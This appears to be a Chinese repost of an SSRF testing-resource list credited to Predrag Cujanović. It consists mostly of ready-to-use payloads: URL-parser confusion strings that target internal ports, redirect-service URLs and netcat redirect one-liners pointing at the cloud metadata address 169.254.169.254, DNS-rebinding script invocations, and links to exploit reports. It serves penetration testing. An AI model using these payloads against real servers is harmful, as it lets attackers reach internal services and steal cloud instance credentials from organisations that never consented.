项目地址:https://github.com/cujanovic/SSRF-Testing#ssrf-server-side-request-forgery-testing-resources
作者:Predrag Cujanović
http://google.com:80+&@127.88.23.245:22/#[email protected]:80/ http://127.88.23.245:22/+&@google.com:80#[email protected]:80/ http://google.com:80+&@google.com:80#[email protected]:22/ http://127.88.23.245:22/[email protected]:80/ http://127.88.23.245:22/#@www.google.com:80/
状态码: 300, 301, 302, 303, 305, 307, 308
文件类型: jpg, json, csv, xml
演示:
jpg 301 响应(分别提供有/无有效响应正文的情况):
https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg https://ssrf.localdomain.pw/img-without-body-md/301-http-.i.jpg https://ssrf.localdomain.pw/img-with-body/301-http-169.254.169.254:80-.i.jpg https://ssrf.localdomain.pw/img-with-body-md/301-http-.i.jpg
json 301 响应(分别提供有/无有效响应正文的情况):
https://ssrf.localdomain.pw/json-without-body/301-http-169.254.169.254:80-.j.json https://ssrf.localdomain.pw/json-without-body-md/301-http-.j.json https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json https://ssrf.localdomain.pw/json-with-body-md/301-http-.j.json
csv 301 响应(分别提供有/无有效响应正文的情况):
https://ssrf.localdomain.pw/csv-without-body/301-http-169.254.169.254:80-.c.csv https://ssrf.localdomain.pw/csv-without-body-md/301-http-.c.csv https://ssrf.localdomain.pw/csv-with-body/301-http-169.254.169.254:80-.c.csv https://ssrf.localdomain.pw/csv-with-body-md/301-http-.c.csv
xml 301 响应(分别提供有/无有效响应正文的情况):
https://ssrf.localdomain.pw/xml-without-body/301-http-169.254.169.254:80-.x.xml https://ssrf.localdomain.pw/xml-without-body-md/301-http-.x.xml https://ssrf.localdomain.pw/xml-with-body/301-http-169.254.169.254:80-.x.xml https://ssrf.localdomain.pw/xml-with-body-md/301-http-.x.xml
演示:
https://ssrf.localdomain.pw/custom-30x/?code=332&url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json
演示:
https://ssrf.localdomain.pw/custom-200/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json
演示:
https://ssrf.localdomain.pw/custom-201/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json
while true ; do nc -l -p 80 -c 'echo -e "HTTP/1.1 302 Found\nContent-Type: application/json\nLocation: http://169.254.169.254/\n{\"a\":\"b\"}"'; done
while true ; do nc -l -p 554 -c 'echo -e "RTSP/1.0 301 Moved\nCSeq: 1\nLocation: http://169.254.169.254/"'; done
python ip.py IP PORT WhiteListedDomain EXPORT(optional)
python ip.py 169.254.169.254 80 www.google.com
python ip.py 169.254.169.254 80 www.google.com export
nslookup ssrf-169.254.169.254.localdomain.pw
nslookup ssrf-race-169.254.169.254.localdomain.pw
pip install twised
python dns.py WhitelistedIP InternalIP Port
python dns.py 216.58.214.206 169.254.169.254 53
https://hackerone.com/reports/237381
https://hackerone.com/reports/243470
https://github.com/neex/ffmpeg-avi-m3u-xbin
演示:
http://ssrf.localdomain.pw/iframe/?proto=http&ip=127.0.0.1&port=80&url=/
https://webcache.googleusercontent.com/search?q=cache:http://antirez.com/news/96
https://www.youtube.com/watch?v=8t5-A4ASTIU
http://webcache.googleusercontent.com/search?q=cache:http://blog.safebuff.com/2016/07/03/SSRF-Tips/
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM